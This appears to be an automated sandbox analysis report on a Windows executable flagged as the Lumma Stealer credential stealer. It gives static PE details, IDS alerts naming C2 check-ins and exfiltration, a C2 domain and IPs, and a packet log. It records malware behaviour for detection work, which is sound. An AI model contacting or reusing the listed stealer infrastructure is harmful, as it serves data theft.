SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
URL:	https://learn.microsoft.com/en-us/content-nav/MSDocsHeader-DotNet.json?
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1528x402, components 3
Category:	downloaded
Size (bytes):	64291
Entropy (8bit):	7.964191793580486
Encrypted:	false
SSDEEP:	1536:NHnitWEy8ugr5KeKvJx4FqzmYyIf52YHcd/HpQxhSoywkY8+N4U4Bv:NHitHyJTeysFqiYyIfEYHchQWoywkY8v
MD5:	8CCB0248B7F2ABEEAD74C057232DF42A
SHA1:	C02BD92FEA2DF7ED12C8013B161670B39E1EC52F
SHA-256:	0A9FD0C7F32EABBB2834854C655B958EC72A321F3C1CF50035DD87816591CDCC
SHA-512:	6D6E3C858886C9D6186AD13B94DBC2D67918AA477FB7D70A7140223FAB435CF109537C51CA7F4B2A0DB00EEAD806BBE8C6B29B947B0BE7044358D2823F5057CE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/media/event-banners/banner-learn-challenge-2024.jpg
Preview:	......JFIF..............ICC_PROFILE............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C............................................................................"..........................................\......................!1..A.Qaq......".....#23BR......56Urst....$%4ST....&CDbcd......EFV.u...................................[...........................!1.AQR...."2Saq.......Ts.......#356BCDUbr.....%&47c.....$'Et..............?...j.....'Gu..7.=......8. ..nh..F.....y ..=....1L\U.+.Pj.RnI.(...N.{%].b..J..r...W[

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	1173007
Entropy (8bit):	5.503893944397598
Encrypted:	false
SSDEEP:	24576:VMga+4IVzOjS1Jho1WXQFjTEr39/jHXzT:VMcVzOjS1Jho1WXQar39/bXzT
MD5:	2E00D51C98DBB338E81054F240E1DEB2
SHA1:	D33BAC6B041064AE4330DCC2D958EBE4C28EBE58
SHA-256:	300480069078B5892D2363A2B65E2DFBBF30FE5C80F83EDBFECF4610FD093862
SHA-512:	B6268D980CE9CB729C82DBA22F04FD592952B2A1AAB43079CA5330C68A86E72B0D232CE4070DB893A5054EE5C68325C92C9F1A33F868D61EBB35129E74FC7EF9
Malicious:	false
Preview:	(function(){"use strict";var __webpack_modules__={351:function(t,e,r){var n,o=this&&this.__extends\|\|(n=function(t,e){return n=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}\|\|function(t,e){for(var r in e)Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r])},n(t,e)},function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Class extends value "+String(e)+" is not a constructor or null");function r(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(r.prototype=e.prototype,new r)}),i=this&&this.__assign\|\|function(){return i=Object.assign\|\|function(t){for(var e,r=1,n=arguments.length;r<n;r++)for(var o in e=arguments[r])Object.prototype.hasOwnProperty.call(e,o)&&(t[o]=e[o]);return t},i.apply(this,arguments)},s=this&&this.__read\|\|function(t,e){var r="function"==typeof Symbol&&t[Symbol.iterator];if(!r)return t;var n,o,i=r.call(t),s=[];try{for(;(void 0===e\|\|e-- >0)&&!(n=i.next()).done;)s.push(n.value)}catch(t){o={error:t}}finally

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.949027698133269
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'850'880 bytes
MD5:	d1675a39609d5cd41c268e70711c7ee5
SHA1:	1c2ce4df65dd63ea4f9974ff4f211865f622636f
SHA256:	74e0ddd212fdca922fdf9a3221d849201216b6155e23fb0ff0ffb14d23082fd8
SHA512:	8bd077e975ec9e75f908017cfbe7d9b97d65a2ec6627ca88c3d95856200b9c938a423b82461ed7a501031553290f54c8837b0114594e5b26fa758c86c55f2de6
SSDEEP:	24576:rwuYmltSpmu1IKd4hG8JcwVPLvtHFnaddBUalaHDO8PF1PIDyJlSKM+7dK2yKtIm:r5pDKywSXTu0k891PIGvbnByP
TLSH:	5485333FCDAC1D39CC9445F2E5EE81A64DF8FE24416145B7282E86759983ABB2FC5C08
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...B3Gg.............................`I...........@...........................I...........@.................................\`..p..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x896000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67473342 [Wed Nov 27 14:57:06 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FC87101C65Ah
hint_nop dword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FC87101E655h
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00h], ah
add byte ptr [eax], al
aam 8Fh
sldt word ptr fs:[eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or byte ptr [eax+00000000h], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5605c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x55000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x561f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x54000	0x25800	af58cca73dd778bf4570114c00f4df00	False	0.9977083333333333	data	7.987539662609578	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x55000	0x2b0	0x200	ec353adde8f9d01c3d89a25397a94e57	False	0.80078125	data	6.076383888945611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x56000	0x1000	0x200	5c2aab652c0aafb38fcd0c023cb11951	False	0.15625	data	1.1194718105633323	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x57000	0x2a3000	0x200	49ac3caff3eece7b07cff97150734d5a	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ndwgcelf	0x2fa000	0x19b000	0x19aa00	af6bee72683bca0918e0ad37ddd461f3	False	0.9946400542237442	data	7.953821944364331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
aqangyal	0x495000	0x1000	0x400	b48759a56e38a2cb83b782c39a94830d	False	0.8544921875	data	6.4876678093212865	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x496000	0x3000	0x2200	4a664ef2aa455f78d2ee95cbf094c425	False	0.06146599264705882	DOS executable (COM)	0.8019945585507895	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x494750	0x256	ASCII text, with CRLF line terminators			0.5100334448160535

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-28T13:09:01.585587+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	23.55.153.106	443	TCP
2024-11-28T13:09:02.450258+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.4	49730	23.55.153.106	443	TCP
2024-11-28T13:09:03.112471+0100	2057415	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (marshal-zhukov .com)	1	192.168.2.4	54012	1.1.1.1	53	UDP
2024-11-28T13:09:05.797409+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:05.797409+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:07.161932+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:07.161932+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.82.174	443	TCP
2024-11-28T13:09:08.435768+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:08.435768+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:10.011604+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:10.011604+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49732	104.21.82.174	443	TCP
2024-11-28T13:09:11.590666+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49733	104.21.82.174	443	TCP
2024-11-28T13:09:11.590666+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.82.174	443	TCP
2024-11-28T13:09:17.020000+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49736	104.21.82.174	443	TCP
2024-11-28T13:09:17.020000+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.82.174	443	TCP
2024-11-28T13:09:26.051251+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49736	104.21.82.174	443	TCP
2024-11-28T13:09:27.478896+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49741	104.21.82.174	443	TCP
2024-11-28T13:09:27.478896+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.82.174	443	TCP
2024-11-28T13:09:37.561300+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49742	104.21.82.174	443	TCP
2024-11-28T13:09:37.561300+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49742	104.21.82.174	443	TCP
2024-11-28T13:09:44.996166+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49743	104.21.82.174	443	TCP
2024-11-28T13:09:44.996166+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	104.21.82.174	443	TCP
2024-11-28T13:09:45.046609+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	49743	104.21.82.174	443	TCP
2024-11-28T13:09:52.055002+0100	2057416	ET MALWARE Observed Win32/Lumma Stealer Related Domain (marshal-zhukov .com in TLS SNI)	1	192.168.2.4	49744	104.21.82.174	443	TCP
2024-11-28T13:09:52.055002+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49744	104.21.82.174	443	TCP
2024-11-28T13:09:52.792280+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49744	104.21.82.174	443	TCP
2024-11-28T13:09:54.245729+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49745	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 13:08:59.174946070 CET	49675	443	192.168.2.4	173.222.162.32
Nov 28, 2024 13:09:00.071077108 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:00.071113110 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:00.071196079 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:00.143971920 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:00.143991947 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:01.585516930 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:01.585587025 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:01.587891102 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:01.587897062 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:01.588197947 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:01.628068924 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:01.635180950 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:01.675337076 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450311899 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450359106 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450404882 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450419903 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450422049 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.450444937 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450452089 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.450481892 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.450506926 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.638639927 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.638708115 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.638731003 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.638745070 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.638788939 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.671669960 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.671720982 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.671763897 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:02.671819925 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.671873093 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.953423023 CET	49730	443	192.168.2.4	23.55.153.106
Nov 28, 2024 13:09:02.953435898 CET	443	49730	23.55.153.106	192.168.2.4
Nov 28, 2024 13:09:03.391498089 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:03.391554117 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:03.391633987 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:03.391968012 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:03.391983032 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:05.797214985 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:05.797409058 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:05.800378084 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:05.800384045 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:05.800617933 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:05.801769018 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:05.801810026 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:05.801827908 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.161931038 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.162009954 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.162065983 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.162208080 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.162220001 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.162230968 CET	49731	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.162235975 CET	443	49731	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.221359015 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.221390963 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:07.221472979 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.221713066 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:07.221725941 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:08.435606956 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:08.435767889 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:08.437148094 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:08.437151909 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:08.437395096 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:08.438729048 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:08.438759089 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:08.438796043 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011616945 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011662006 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011687994 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011717081 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011742115 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011784077 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011815071 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.011815071 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.011828899 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.011861086 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.019721031 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.019762993 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.019772053 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.033474922 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.033524036 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.033531904 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.081295013 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.131840944 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.131907940 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.131962061 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.131973028 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.174957991 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.203732014 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.203856945 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.203908920 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.203977108 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.203988075 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.203998089 CET	49732	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.204003096 CET	443	49732	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.326193094 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.326250076 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:10.326323032 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.327227116 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:10.327244043 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:11.405582905 CET	49672	443	192.168.2.4	173.222.162.32
Nov 28, 2024 13:09:11.405626059 CET	443	49672	173.222.162.32	192.168.2.4
Nov 28, 2024 13:09:11.590584993 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:11.590666056 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:11.592199087 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:11.592210054 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:11.592458963 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:11.593863010 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:11.594010115 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:11.594028950 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:11.594085932 CET	49733	443	192.168.2.4	104.21.82.174
Nov 28, 2024 13:09:11.594093084 CET	443	49733	104.21.82.174	192.168.2.4
Nov 28, 2024 13:09:12.707429886 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:12.707468987 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:12.707540035 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:12.716753960 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:12.716775894 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:14.572380066 CET	443	49734	4.245.163.56	192.168.2.4
Nov 28, 2024 13:09:14.572443962 CET	49734	443	192.168.2.4	4.245.163.56
Nov 28, 2024 13:09:14.574182034 CET	49734	443	192.168.2.4	4.245.163.56
